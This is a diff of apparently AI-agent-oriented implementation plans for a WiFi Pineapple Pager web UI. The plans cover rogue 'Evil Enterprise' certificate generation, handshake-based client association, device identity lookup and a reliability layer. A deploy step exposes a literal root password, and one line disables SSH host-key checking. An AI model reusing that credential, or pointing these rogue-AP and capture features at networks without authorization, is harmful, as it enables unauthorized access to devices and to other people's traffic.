+Run: `python3 -m unittest tests.test_attacks tests.test_pineap_enterprise -v`
+
+Expected: failures because certificate request/status helpers and routes do not exist.
+
+- [ ] **Step 3: Implement validation and certificate inspection**
+
+Use strict subject-field validation and DNS-label parsing. Inspect certificate metadata with bounded OpenSSL argv calls. Compare certificate/key public-key digests without exposing them through the API. Return clear invalid/missing state rather than treating nonempty files as valid.
+
+- [ ] **Step 4: Add failing atomic generation tests**
+
+Mock temporary-directory creation and OpenSSL to assert `req -x509 -newkey rsa:2048 -sha256 -nodes`, SAN/serverAuth extensions, mode `0600` for key, `0644` for certificate, validation before replacement, backup restoration on failure, and cleanup of temporary files.
+
+- [ ] **Step 5: Implement atomic generation**
+
+Generate under a mode-`0700` directory inside `/root/loot/enterprise`. Validate parseability, current validity, key match, subject, and SANs. Back up active files, atomically replace them, and restore backups on install failure. Replace `_ensure_ent_certs` shared-bundle copying with generation through this path when valid active files are absent.
+
+- [ ] **Step 6: Add failing active-restart and rollback tests**
+
+When `_ent_running()` is true, assert the existing deployment state is copied, the new certificate is installed, `_deploy_enterprise` is invoked with unchanged settings, and success requires enabled hostapd. Force deployment failure and assert old certificate restoration plus one previous-state redeploy attempt; include rollback outcome in HTTP 502 data.
+
+- [ ] **Step 7: Implement serialized restart and rollback**
+
+Use the attack/deploy lock for certificate generation. Keep old certificate backups until redeploy succeeds. On failure, stop partial enterprise state, restore files, and attempt previous deployment exactly once. Do not recursively call certificate generation from deployment fallback.
+
+- [ ] **Step 8: Add certificate APIs and matching UI card**
+
+Register authenticated GET/status and POST/generate routes. Add an Evil Enterprise card using existing `.settings-form-grid`, `.pineap-infobox`, `runAction`, and button patterns. Include the requested fields, installed metadata, generation busy state, and a warning that active Enterprise will restart automatically. Refresh attack and certificate status after completion.
+
+- [ ] **Step 9: Fix secret permissions**
+
+Replace `chmod -R 755 "$PAGER_WEBUI_DIR"` with directory/file-specific safe modes that preserve executable scripts while keeping bundled/runtime keys `0600`. Explicitly chmod runtime `server.key`, `eap_users`, and enterprise state to `0600` after writes.
+
+- [ ] **Step 10: Run enterprise tests**
+
+Run: `python3 -m unittest tests.test_attacks tests.test_pineap_enterprise -v`
+
+Expected: PASS.
+
+- [ ] **Step 11: Commit certificate flow**
+
+```bash
+git add payload/user/remote_access/pager-webui/server.py payload/user/remote_access/pager-webui/www/js/views.js payload/user/remote_access/pager-webui/www/css/app.css payload/user/remote_access/pager-webui/pagerwebui.init tests/test_attacks.py tests/test_pineap_enterprise.py
+git commit -m "feat: generate Evil Enterprise certificates"
+```
+
+---
+
+### Task 6: Integration Verification and Pager Deployment
+
+**Files:**
+- Modify if required by verified defects: files from Tasks 1-5 only
+- Build artifact: `build/pager-webui/payload-cGFnZXItd2VidWk.zip`
+
+**Interfaces:**
+- Consumes: all completed task interfaces.
+- Produces: verified local suite, payload build, live Pager deployment, and browser/device evidence.
+
+- [ ] **Step 1: Run every unit-test module in isolated processes**
+
+Run:
+
+```bash
+for f in tests/test_*.py; do python3 -m unittest "tests.$(basename "$f" .py)" -v || exit 1; done
+```
+
+Expected: every module reports `OK`.
+
+- [ ] **Step 2: Build the payload**
+
+Run the repository's existing payload build/deploy script in its build-only or pre-upload stage. Verify the staged payload contains updated source and no `loot/`, temporary private keys, test caches, or unrelated untracked files.
+
+- [ ] **Step 3: Deploy to the authorized Pager**
+
+Use `scripts/deploy.sh --password 'Bryce9205'` against `root@172.16.52.1`. Record whether safe UCI reconciliation changes the five affected keys. Do not enable pool broadcast.
+
+- [ ] **Step 4: Verify daemon and APIs**
+
+Confirm `pidof pineapd`, `/api/health`, affected build/hash, non-quarantined status, safe UCI values, both monitor interfaces expected by hardware, and diagnostic download. Watch logs long enough to cover multiple historical 15-second crash intervals.
+
+- [ ] **Step 5: Verify Recon behavior**
+
+Run a controlled timed scan with enabled but unassociated `dummy_radio0`; verify no false starvation message, tracked scan ID, and 2.4 GHz results. Then use an existing legitimate AP/STA pin scenario and confirm channel-limited copy is accurate.
+
+- [ ] **Step 6: Verify reports and navigation in browser**
+
+At desktop and mobile viewports, verify Recon has Scanning/Reports only, PineAP has Handshakes, the old hash redirects, and generated live/archive HTML reports contain printable maps for all available bands.
+
+- [ ] **Step 7: Verify certificate generation and restart**
+
+Generate a certificate with representative attributes, inspect it with `openssl x509 -text`, verify file modes, deploy Enterprise, generate a second certificate while active, and confirm automatic restart uses the new fingerprint. Exercise a controlled mocked/local failure for rollback if forcing hostapd failure on the live device would risk connectivity.
+
+- [ ] **Step 8: Review final diff and status**
+
+Run `git status --short`, `git diff --check`, and inspect the cumulative diff from `00cbc52`. Confirm `loot/` and pre-existing untracked `certs/` remain unstaged.
+
+- [ ] **Step 9: Commit only verified integration fixes if any**
+
+If verification required code changes, stage only those files and commit with a focused message. Do not create an empty commit.

docs/superpowers/plans/2026-08-21-recon-client-associations-device-identity.md

@@ -0,0 +1,281 @@
+# Recon Client Associations and Device Identity Implementation Plan
+
+> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
+
+**Goal:** Add confirmed client-to-SSID/AP associations and best-available manufacturer identity to Recon APIs, tables, focus details, exports, and reports.
+
+**Architecture:** Keep `recon_scan_data()` as the canonical enrichment boundary. Add cached local OUI resolution and scan-scoped evidence joins in `server.py`, then consume the enriched object shape in existing JSON/CSV/HTML serializers and `views.recon`. Handshake evidence may resolve BSSID; `hostap_client` evidence remains SSID-only because its schema has no BSSID.
+
+**Tech Stack:** Python 3 standard library, SQLite read-only queries, vanilla JavaScript, existing test suite, no frontend build step.
+
+## Global Constraints
+
+- Associations must never be inferred from proximity, channel, timing, or probe requests.
+- `ssid.type = 5` directed probes are not associations.
+- `hostap_client` rows create confirmed SSID-only associations and never claim an AP BSSID.
+- OUI resolution uses Nmap, macchanger, then the built-in map, then `Unknown`.
+- Missing OUI files or optional association data must not fail Recon.
+- No external network lookup or wireless/PineAP configuration change is allowed.
+- Preserve unrelated existing changes in `server.py`, `tests/test_recon.py`, `loot/`, and certificate files.
+
+---
+
+### Task 1: Add Cached OUI Identity Resolution
+
+**Files:**
+- Modify: `payload/user/remote_access/pager-webui/server.py` near `OUI_VENDORS`, `_oui_prefix`, and `oui_vendor`
+- Test: `tests/test_recon.py` in `DecodersTest`
+
+**Interfaces:**
+- Produces `oui_identity(mac)` returning a JSON-safe dictionary with `manufacturer`, `model`, `oui`, and `source`.
+- Keeps `oui_vendor(mac)` behavior compatible for existing callers.
+
+- [ ] **Step 1: Write failing tests**
+
+Add tests that patch `server.OUI_DATA_PATHS` and `server.open`, reset the identity cache, and assert Nmap wins over macchanger and built-in fallback. Add tests for missing files, unknown global MACs, locally administered MACs, and `model is None`.
+
+```python
+def test_oui_identity_prefers_nmap_then_macchanger(self):
+    server._oui_identity_cache = None
+    files = {
+        '/nmap': 'C89E43 Apple Corporation\n',
+        '/mac': 'C89E43 fallback\n',
+    }
+    with mock.patch.object(server, 'OUI_DATA_PATHS', ['/nmap', '/mac']), \
+            mock.patch('builtins.open', side_effect=lambda p, *a, **k:
+                        mock.mock_open(read_data=files[p]).return_value):
+        value = server.oui_identity('C89E43648080')
+    self.assertEqual(value['manufacturer'], 'Apple Corporation')
+    self.assertEqual(value['source'], 'nmap')
+    self.assertIsNone(value['model'])
+
+def test_oui_identity_handles_local_and_unknown(self):
+    server._oui_identity_cache = {}
+    self.assertEqual(server.oui_identity('02:11:22:33:44:55')['manufacturer'],
+                     'Local/Randomized')
+    self.assertEqual(server.oui_identity('AA:BB:CC:00:00:01')['manufacturer'],
+                     'Unknown')
+```
+
+- [ ] **Step 2: Run the focused tests and verify failure**
+
+Run: `python3 -m unittest tests.test_recon.DecodersTest -v`
+
+Expected: FAIL because `OUI_DATA_PATHS`, `_oui_identity_cache`, and
+`oui_identity()` do not yet exist.
+
+- [ ] **Step 3: Implement the smallest resolver**
+
+Add the two device paths, a process-level cache, parsers for the first six
+hexadecimal characters in each local database line, source labels `nmap` and
+`macchanger`, and fallback to `OUI_VENDORS`. Return `model: None` for every
+current source. Detect the locally administered bit before file lookup.
+
+- [ ] **Step 4: Run focused and regression tests**
+
+Run: `python3 -m unittest tests.test_recon.DecodersTest -v`
+
+Expected: PASS, including the pre-existing `oui_vendor` assertions.
+
+- [ ] **Step 5: Commit**
+
+```bash
+git add payload/user/remote_access/pager-webui/server.py tests/test_recon.py
+git commit -m "feat: resolve recon device manufacturers locally"
+```
+
+### Task 2: Enrich Scan Associations and APs
+
+**Files:**
+- Modify: `payload/user/remote_access/pager-webui/server.py` in `recon_scan_data()` and its nearby SQL helpers
+- Test: `tests/test_recon.py` in `ReconDataTest`
+
+**Interfaces:**
+- `recon_scan_data(scan_id, _timeout=20, _limit=None, db=None)` returns existing fields plus AP `device_identity`, `clients`, `client_count`, and client `vendor`, `associations`.
+
+- [ ] **Step 1: Extend the fixture and write failing tests**
+
+Add `hostap_client` rows, a second AP/client handshake pair, and a type-5 probe row to `make_db()`. Assert handshake association has SSID/BSSID/source, host-AP association has SSID and no BSSID, type-5 does not associate, duplicate evidence merges sources, AP counts are unique, and client/AP vendors are present.
+
+```python
+def test_scan_detail_associations_are_confirmed_only(self):
+    data = server.recon_scan_data(1)
+    client = next(c for c in data['clients'] if c['mac'] == 'AE:77:C0:EB:31:41')
+    self.assertEqual(client['associations'][0]['sources'], ['handshake'])
+    self.assertEqual(client['associations'][0]['ssid'], 'Anderson-5')
+    self.assertEqual(client['associations'][0]['bssid'], 'C8:9E:43:64:80:80')
+    self.assertEqual(data['aps'][0]['client_count'], 1)
+    self.assertNotIn('ProbeOnlySSID', [a['ssid'] for a in client['associations']])
+```
+
+- [ ] **Step 2: Run the focused test and verify failure**
+
+Run: `python3 -m unittest tests.test_recon.ReconDataTest -v`
+
+Expected: FAIL because enriched association fields do not exist.
+
+- [ ] **Step 3: Add bounded evidence queries**
+
+Load handshake pairs from the selected scan and resolve AP/client MACs from the
+already loaded `wifi_device` rows. If `hostap_client` exists, query only rows
+for the selected scan inside a guarded `try` block; if the table is absent,
+use an empty list. Do not join type-5 rows into the association map.
+
+- [ ] **Step 4: Build deterministic deduplicated associations**
+
+Normalize MACs and use `(client_mac, bssid, ssid)` as the association key,
+where a missing BSSID is represented separately from any AP row. Merge source
+names in stable order `handshake`, then `hostap_client`, and retain host-AP
+timestamps. Attach BSSID-backed associations to matching APs only; attach
+SSID-only host-AP evidence to clients only.
+
+- [ ] **Step 5: Add identity and AP/client projection**
+
+Call `oui_identity()` for every AP BSSID and client MAC. Add `clients` and
+`client_count` to AP objects, preserving current AP ordering and existing
+fields. Keep clients with no association and set `associations: []`.
+
+- [ ] **Step 6: Run the complete Recon tests**
+
+Run: `python3 -m unittest tests.test_recon -v`
+
+Expected: PASS for all existing and new tests.
+
+- [ ] **Step 7: Commit**
+
+```bash
+git add payload/user/remote_access/pager-webui/server.py tests/test_recon.py
+git commit -m "feat: associate recon clients with confirmed networks"
+```
+
+### Task 3: Propagate Enriched Data Through Exports
+
+**Files:**
+- Modify: `payload/user/remote_access/pager-webui/server.py` in Recon CSV/HTML builders and download handlers
+- Test: `tests/test_recon.py` in `ReconReportTest`
+
+**Interfaces:**
+- Existing JSON downloads preserve the enriched detail object.
+- Existing CSV and HTML downloads include identity, client counts, and confirmed association details.
+
+- [ ] **Step 1: Write failing export assertions**
+
+Assert JSON contains `device_identity` and `associations`, CSV headers/rows
+contain `Device Identity`, `Client Count`, and semicolon-separated confirmed
+SSIDs, and HTML contains a `Confirmed Clients` section while excluding the
+type-5 probe SSID.
+
+- [ ] **Step 2: Run report tests and verify failure**
+
+Run: `python3 -m unittest tests.test_recon.ReconReportTest -v`
+
+Expected: FAIL because serializers currently omit the enrichment.
+
+- [ ] **Step 3: Implement deterministic flattening and report sections**
+
+Keep JSON unchanged apart from its enriched source object. Add CSV columns
+using a stable display identity and `'; '.join()` for multiple association
+SSIDs. Add AP identity/client count to the existing AP table and a confirmed
+client table to HTML, escaping all values through the existing HTML helpers.
+
+- [ ] **Step 4: Run report and full Python tests**
+
+Run: `python3 -m unittest tests.test_recon tests.test_health tests.test_ws -v`
+
+Expected: PASS.
+
+- [ ] **Step 5: Commit**
+
+```bash
+git add payload/user/remote_access/pager-webui/server.py tests/test_recon.py
+git commit -m "feat: include recon identity in exports"
+```
+
+### Task 4: Update Recon Tables and Focus Details
+
+**Files:**
+- Modify: `payload/user/remote_access/pager-webui/www/js/views.js` around `reconDefaultCols`, `colDefs`, table column definitions, and `renderFocus`
+- Modify: `payload/user/remote_access/pager-webui/www/css/app.css` for compact identity/association detail styling if needed
+- Test: `tests/test_recon.py` source assertions or existing frontend smoke harness
+
+**Interfaces:**
+- Existing `views.recon` consumes enriched AP/client objects without new endpoints.
+- `pw_recon_cols` migration preserves existing values and adds new defaults.
+
+- [ ] **Step 1: Add source-level failing assertions**
+
+Assert the source contains default AP `identity` and `clients` columns, client
+`vendor` and `associated_ssid` columns, association search values, and a
+`Confirmed Clients` focus section.
+
+- [ ] **Step 2: Implement client/AP display helpers**
+
+Add a helper that formats `device_identity` as manufacturer plus model when
+model is non-null, otherwise manufacturer plus OUI for unknown values. Add a
+helper that formats one association SSID or `first SSID +N` and sets the full
+association summary in the cell `title`.
+
+- [ ] **Step 3: Update column defaults and settings**
+
+Replace AP `vendor` with `identity`, add AP `clients`, and add client `vendor`
+and `associated_ssid` defaults. When loading old settings, merge missing keys
+from `reconDefaultCols()` rather than discarding the saved preferences.
+
+- [ ] **Step 4: Update filtering, sorting, and table rendering**
+
+Include formatted identity and association strings in searchable values,
+retain numeric sorting for client counts, and render the new columns through
+the existing table/paginator code.
+
+- [ ] **Step 5: Add confirmed clients to AP focus**
+
+Render MAC, vendor, and comma-separated evidence sources from `ap.clients`.
+Show `No confirmed clients` for an empty list and do not list probe-only
+records.
+
+- [ ] **Step 6: Run frontend/source and Python tests**
+
+Run: `python3 -m unittest discover -s tests -p 'test_*.py' -v`
+
+Expected: PASS. Then run the project’s existing browser smoke harness if
+available and verify desktop/mobile Recon rendering without changing device
+configuration.
+
+- [ ] **Step 7: Commit**
+
+```bash
+git add payload/user/remote_access/pager-webui/www/js/views.js payload/user/remote_access/pager-webui/www/css/app.css tests/test_recon.py
+git commit -m "feat: show recon client identities and associations"
+```
+
+### Task 5: On-Device Read-Only Verification
+
+**Files:**
+- No source changes expected.
+- Evidence: local command output only; do not add credentials or device dumps to git.
+
+- [ ] **Step 1: Deploy through the project’s normal development/deploy path**
+
+Use the existing script documented in `README.md`; do not alter wireless or
+PineAP settings.
+
+- [ ] **Step 2: Compare API data with read-only SQLite evidence**
+
+Query `scan`, `wifi_device`, `ssid`, `handshake`, and `hostap_client` using the
+read-only SQLite URI. Confirm handshake BSSID/client pairs match API
+associations, host-AP entries are SSID-only, and type-5 rows are absent from
+associations.
+
+- [ ] **Step 3: Verify identity and UI behavior**
+
+Confirm AP identity resolves from an installed local database or fallback,
+unknown/local MAC labels are honest, Access Points shows client counts and
+identity, Clients shows vendor/SSID, and the focus sidebar shows confirmed
+clients at desktop and mobile widths.
+
+- [ ] **Step 4: Run final verification before claiming completion**
+
+Run: `git diff --check`, `python3 -m unittest discover -s tests -p 'test_*.py' -v`, and `git status --short`.
+
+Expected: no whitespace errors, all tests pass, and only intended source
+changes plus pre-existing worktree changes are present.

docs/superpowers/plans/2026-08-22-reliability-core.md

@@ -0,0 +1,983 @@
+# Mark VIII Reliability Core Implementation Plan
+
+> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
+
+**Goal:** Make the Pager run reliably and consistently as expected via payload-only hardening: boot-time guard, config profiles with rollback watchdogs, RF role manager (uplink on phy1), integrated supervisor with event journal, atomic deploys, and an on-device smoke suite.
+
+**Architecture:** Three layers inside the existing payload — `mk8-guard` init script (START=49, before the S50 pineapple stack), new `mk8_*.py` stdlib modules imported by `server.py`, and a passive supervisor thread extending the existing health monitor. Persistent state in `/mmc/mk8/` (survives reboots and overlay wipes).
+
+**Tech Stack:** Python 3 stdlib only (`python3-light` on device: no urllib/http.server/sqlite3 modules), POSIX sh for device scripts, vanilla JS frontend, Bash + sshpass/scp for deploy tooling.
+
+## Global Constraints
+
+- Spec: `docs/superpowers/specs/2026-08-22-reliability-core-design.md` (approved).
+- Device constraints: python3-light stdlib only; BusyBox (no `pkill`; use `killall`/`pidof`); never actively ping pineapd's command socket from loops; never run `wifi reload` outside gated operations.
+- All persistent state under `/mmc/mk8/`. No writes to stock binaries or `/etc/config` outside reconciler/gated ops.
+- Tests: stdlib `unittest`, one module per process (tests monkeypatch module state); run pattern:
+  `python3 -m unittest tests.test_<name> -v`
+- Frontend checks: `node --check <file>` after every JS edit.
+- Device access is **read-only until Task 10** (deploy + smoke). Password auth via `sshpass -p '<pw>' ssh -o StrictHostKeyChecking=no root@172.16.52.1`.
+- Branch: `feature/reliability`. Commit after every passing step.
+- Version: single-source `VERSION` file at repo root; next version `1.4.0`.
+
+## File Structure
+
+```
+payload/user/remote_access/pager-webui/
+  mk8_events.py      NEW  event journal (JSONL append/rotate/read + counters)
+  mk8_profiles.py    NEW  UCI snapshot store (/mmc/mk8/profiles)
+  mk8_guard.py       NEW  known-good invariants + reconcile() + CLI hooks
+  mk8_rfplan.py      NEW  phy1 RF role manager (uplink/attack/idle)
+  mk8_gate.py        NEW  risky-op preflight gate + watchdog decision logic
+  mk8-watchdog.sh    NEW  detached local-liveness rollback watchdog
+  mk8-guard.init     NEW  START=49 boot guard script (installed to /etc/init.d/mk8-guard)
+  server.py          MOD  imports, startup hook, h_health extension, /api/reliability/* + /api/rfplan/* routes, gates on risky handlers
+  www/js/views.js    MOD  health events feed, reliability counters, RF chip, Settings profiles card
+  www/js/app.js      MOD  nav wiring if needed
+www/css/app.css      MOD  styles for new UI elements
+scripts/deploy.sh    MOD  VERSION stamping, atomic release swap, post-deploy check, guard install
+scripts/smoke.sh     NEW  on-device verification suite
+VERSION              NEW  "1.4.0"
+tests/test_mk8_events.py, test_mk8_profiles.py, test_mk8_guard.py,
+tests/test_mk8_gate.py, test_mk8_rfplan.py, test_reliability_api.py   NEW
+```
+
+---
+
+### Task 1: Event journal (`mk8_events.py`)
+
+**Files:**
+- Create: `payload/user/remote_access/pager-webui/mk8_events.py`
+- Test: `tests/test_mk8_events.py`
+
+**Interfaces:**
+- Produces: `log_event(kind, sev='info', msg='', meta=None)`; `read_events(limit=100)` → list of dicts newest-first; `counters()` → dict with keys `boots`, `unexpected_boots`, `rollbacks`, `restarts`, `guard_fixes`; `mark_boot()`; constants `MK8_DIR='/mmc/mk8'`, `EVENTS_PATH`, `MAX_BYTES=5*1024*1024`, `KEEP=4`.
+
+- [ ] **Step 1: Write failing tests**
+
+```python
+import json, os, sys, tempfile, unittest
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
+import mk8_events
+
+class EventsTest(unittest.TestCase):
+    def setUp(self):
+        self.dir = tempfile.mkdtemp()
+        self.old = mk8_events.MK8_DIR
+        mk8_events.MK8_DIR = self.dir
+        mk8_events.EVENTS_PATH = os.path.join(self.dir, 'events.log')
+
+    def tearDown(self):
+        mk8_events.MK8_DIR = self.old
+
+    def test_log_and_read_newest_first(self):
+        mk8_events.log_event('boot', msg='first')
+        mk8_events.log_event('rollback', sev='warn', msg='second', meta={'op': 'wifi'})
+        rows = mk8_events.read_events()
+        self.assertEqual(rows[0]['kind'], 'rollback')
+        self.assertEqual(rows[1]['kind'], 'boot')
+        self.assertEqual(rows[0]['meta'], {'op': 'wifi'})
+
+    def test_counters(self):
+        mk8_events.log_event('boot'); mk8_events.log_event('rollback')
+        mk8_events.log_event('restart'); mk8_events.log_event('guard_fix')
+        c = mk8_events.counters()
+        self.assertEqual(c['boots'], 1)
+        self.assertEqual(c['rollbacks'], 1)
+        self.assertEqual(c['restarts'], 1)
+        self.assertEqual(c['guard_fixes'], 1)
+
+    def test_rotation_keeps_recent(self):
+        mk8_events.MAX_BYTES = 200
+        for i in range(20):
+            mk8_events.log_event('tick', msg='x' * 30)
+        self.assertTrue(len(mk8_events.read_events()) >= 15)
+        self.assertFalse(os.path.exists(mk8_events.EVENTS_PATH + '.4'))
+
+if __name__ == '__main__':
+    unittest.main()
+```
+
+- [ ] **Step 2: Run to verify failure**
+
+Run: `python3 -m unittest tests.test_mk8_events -v`
+Expected: FAIL — `No module named 'mk8_events'`
+
+- [ ] **Step 3: Implement**
+
+```python
+"""Mark VIII reliability event journal. JSONL on /mmc, rotated."""
+import json, os, threading
+
+MK8_DIR = '/mmc/mk8'
+EVENTS_PATH = os.path.join(MK8_DIR, 'events.log')
+MAX_BYTES = 5 * 1024 * 1024
+KEEP = 4
+_LOCK = threading.Lock()
+
+COUNTER_KINDS = ('boot', 'unexpected_boot', 'rollback', 'restart',
+                 'guard_fix')
+
+
+def _ensure_dir():
+    try:
+        os.makedirs(MK8_DIR, exist_ok=True)
+    except OSError:
+        pass
+
+
+def log_event(kind, sev='info', msg='', meta=None):
+    entry = {'ts': int(__import__('time').time()), 'kind': str(kind),
+             'sev': sev, 'msg': msg[:500]}
+    if meta:
+        entry['meta'] = meta
+    line = json.dumps(entry) + '\n'
+    with _LOCK:
+        _ensure_dir()
+        try:
+            if os.path.exists(EVENTS_PATH) and \
+                    os.path.getsize(EVENTS_PATH) > MAX_BYTES:
+                for i in range(KEEP - 1, 0, -1):
+                    src = '%s.%d' % (EVENTS_PATH, i)
+                    dst = '%s.%d' % (EVENTS_PATH, i + 1)
+                    if os.path.exists(src):
+                        os.replace(src, dst)
+                if os.path.exists(EVENTS_PATH):
+                    os.replace(EVENTS_PATH, EVENTS_PATH + '.1')
+            with open(EVENTS_PATH, 'a') as f:
+                f.write(line)
+        except OSError:
+            pass
+
+
+def read_events(limit=100):
+    out = []
+    paths = [EVENTS_PATH + '.%d' % i for i in range(KEEP, 0, -1)]
+    paths.append(EVENTS_PATH)
+    for path in paths:
+        try:
+            with open(path) as f:
+                out.extend(json.loads(l) for l in f if l.strip())
+        except (OSError, ValueError):
+            continue
+    out.sort(key=lambda r: r.get('ts', 0))
+    return out[-limit:][::-1]
+
+
+def counters():
+    counts = {k: 0 for k in COUNTER_KINDS}
+    for row in read_events(limit=5000):
+        k = row.get('kind')
+        if k in counts:
+            counts[k] += 1
+    return counts
+
+
+def mark_boot(unexpected=False):
+    log_event('unexpected_boot' if unexpected else 'boot', sev='warn'
+              if unexpected else 'info',
+              msg='service started' + ('' if unexpected else ' cleanly'))
+```
+
+- [ ] **Step 4: Run tests to pass**
+
+Run: `python3 -m unittest tests.test_mk8_events -v` → PASS
+
+- [ ] **Step 5: Commit**
+
+```bash
+git add payload/user/remote_access/pager-webui/mk8_events.py tests/test_mk8_events.py
+git commit -m "feat(reliability): JSONL event journal with rotation and counters"
+```
+
+---
+
+### Task 2: Profile store (`mk8_profiles.py`)
+
+**Files:**
+- Create: `payload/user/remote_access/pager-webui/mk8_profiles.py`
+- Test: `tests/test_mk8_profiles.py`
+
+**Interfaces:**
+- Consumes: nothing.
+- Produces: `snapshot(name)` → bool; `list_profiles()` → list of names; `restore(name)` → dict `{ok, restored:[...]}`; `auto_name(op)` → `'pre-<op>-<ts>'`; `promote_lastknown_good()`; `delete(name)`; uses `device_run` injected as module attr `run_cmd(args, timeout=20)` defaulting to `server.device_run` lazily (avoids import cycle: define own `_run` that callers/tests monkeypatch).
+
+- [ ] **Step 1: Failing tests**
+
+```python
+import os, sys, tempfile, unittest
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
+import mk8_profiles
+
+CONFIGS = ('pineapd', 'wireless', 'network')
+
+class ProfilesTest(unittest.TestCase):
+    def setUp(self):
+        self.dir = tempfile.mkdtemp()
+        mk8_profiles.PROFILES_DIR = os.path.join(self.dir, 'profiles')
+        self.state = {'pineapd': 'config pineapd\n\toption x y\n',
+                      'wireless': 'config wireless\n', 'network': ''}
+        def fake_run(args, timeout=20):
+            a = list(args)
+            if a[:2] == ['uci', 'export']:
+                return (0, self.state.get(a[2], ''), '')
+            if a[:2] == ['uci', 'import'] or a[:2] == ['uci', 'commit']:
+                return (0, '', '')
+            return (0, '', '')
+        self.runs = []
+        mk8_profiles.run_cmd = lambda args, timeout=20: (
+            self.runs.append(list(args)) or fake_run(args, timeout))
+
+    def test_snapshot_and_list(self):
+        self.assertTrue(mk8_profiles.snapshot('testprof'))
+        self.assertIn('testprof', mk8_profiles.list_profiles())
+
+    def test_restore_issues_import_per_config(self):
+        mk8_profiles.snapshot('p1')
+        ok = mk8_profiles.restore('p1')
+        self.assertTrue(ok['ok'])
+        imported = [r for r in self.runs if r[:2] == ['uci', 'import']]
+        self.assertEqual(len(imported), len(CONFIGS))
+        commits = [r for r in self.runs if r[:2] == ['uci', 'commit']]
+        self.assertGreaterEqual(len(commits), 1)
+
+    def test_auto_name_format(self):
+        name = mk8_profiles.auto_name('client_connect')
+        self.assertTrue(name.startswith('pre-client_connect-'))
+
+if __name__ == '__main__':
+    unittest.main()
+```
+
+- [ ] **Step 2: Verify failure** — `No module named 'mk8_profiles'`
+
+- [ ] **Step 3: Implement**
+
+```python
+"""UCI profile snapshots under /mmc/mk8/profiles/<name>/{pineapd,wireless,network}"""
+import os, time
+
+PROFILES_DIR = '/mmc/mk8/profiles'
+CONFIGS = ('pineapd', 'wireless', 'network')
+
+
+def run_cmd(args, timeout=20):
+    """Lazy import avoids a circular import with server.py; tests monkeypatch."""
+    from server import device_run
+    return device_run(args, timeout=timeout)
+
+
+def _path(name):
+    return os.path.join(PROFILES_DIR, name)
+
+
+def snapshot(name):
+    dest = _path(name)
+    try:
+        os.makedirs(dest, exist_ok=True)
+        wrote = False
+        for cfg in CONFIGS:
+            rc, out, err = run_cmd(['uci', 'export', cfg])
+            if rc != 0 or not (out or '').strip():
+                continue
+            with open(os.path.join(dest, cfg + '.uci'), 'w') as f:
+                f.write(out)
+            wrote = True
+        return wrote
+    except OSError:
+        return False
+
+
+def auto_name(op):
+    return 'pre-%s-%d' % (op, int(time.time()))
+
+
+def list_profiles():
+    try:
+        return sorted(d for d in os.listdir(PROFILES_DIR)
+                      if os.path.isdir(_path(d)))
+    except OSError:
+        return []
+
+
+def delete(name):
+    import shutil
+    shutil.rmtree(_path(name), ignore_errors=True)
+
+
+def restore(name):
+    """Restore configs then commit once per config. Caller runs wifi reload
+    / service restart as appropriate for the operation."""
+    src = _path(name)
+    restored = []
+    if not os.path.isdir(src):
+        return {'ok': False, 'restored': [], 'error': 'profile not found'}
+    for cfg in CONFIGS:
+        fpath = os.path.join(src, cfg + '.uci')
+        if not os.path.isfile(fpath):
+            continue
+        with open(fpath) as f:
+            text = f.read()
+        rc, _, err = run_cmd(['uci', 'import', cfg], input_data=text)
+        if rc != 0:
+            return {'ok': False, 'restored': restored,
+                    'error': 'import failed'}
+        run_cmd(['uci', 'commit', cfg])
+        restored.append(cfg)
+    return {'ok': True, 'restored': restored}
+
+
+LASTKNOWN_GOOD = 'lastknown-good'
+
+
+def promote_lastknown_good():
+    """Replace the lastknown-good profile with the live config."""
+    delete(LASTKNOWN_GOOD)
+    return snapshot(LASTKNOWN_GOOD)
+```
+
+Update the Step-1 fake to accept `input_data=None` and record imports:
+
+```python
+        def fake_run(args, timeout=20, input_data=None):
+            a = list(args)
+            if a[:2] == ['uci', 'import']:
+                self.imports = getattr(self, 'imports', [])
+                self.imports.append((a[2], input_data))
+                return (0, '', '')
+            if a[:2] == ['uci', 'export']:
+                return (0, self.state.get(a[2], ''), '')
+            if a[:2] == ['uci', 'commit']:
+                return (0, '', '')
+            return (0, '', '')
+```
+
+- [ ] **Step 4: Run to pass.**
+- [ ] **Step 5: Commit** — `feat(reliability): UCI profile snapshot store`
+
+---
+
+### Task 3: Reconciler (`mk8_guard.py`)
+
+**Files:**
+- Create: `payload/user/remote_access/pager-webui/mk8_guard.py`
+- Test: `tests/test_mk8_guard.py`
+
+**Interfaces:**
+- Consumes: `server.PINEAPD_SAFE_UCI` (dict of safe pineapd UCI values), `server._apply_uci_wanted(wanted)`, `server._monitor_down(name)`, `server._raise_monitors()`.
+- Produces: `WANTED_EXTRA = {'pineapd.@pineapd[0].autossidpool': '0'}`; `POOL_CLEAR_MAX = 20`; `reconcile(clear_pool=True)` → `{'changed': [...], 'pool_cleared': bool}`; `guard_report()` → dict for `/api/health`.
+
+- [ ] **Step 1: Failing tests**
+
+Full file — reuse the exact `fake_run` device-mock pattern from `tests/test_health.py`:
+
+```python
+import os, sys, unittest
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
+import server
+import mk8_guard
+
+class GuardTest(unittest.TestCase):
+    def setUp(self):
+        self.calls = []
+        self.uci = {}
+        self.mon_up = {'wlan0mon': True, 'wlan1mon': True}
+        server._iface_up = lambda name: self.mon_up.get(name, True)
+
+        def fake_run(args, timeout=20, input_data=None):
+            a = list(args)
+            self.calls.append(a)
+            if a[:2] == ['uci', 'get']:
+                key = a[2]
+                if key == 'pineapd.@ssidpool[0].ssid':
+                    return (0, ''.join('s%d\n' % i for i in range(self.pool)), '')
+                return (0, self.uci.get(key, '') + '\n', '')
+            if a[:2] == ['uci', 'set']:
+                k, _, v = a[2].partition('=')
+                self.uci[k] = v
+            if a[:2] == ['uci', 'delete']:
+                self.pool = 0
+            return (0, '', '')
+        mk8_guard.device_run = fake_run
+
+    def tearDown(self):
+        server._iface_up = lambda name: True
+
+    def test_applies_all_wanted_when_missing(self):
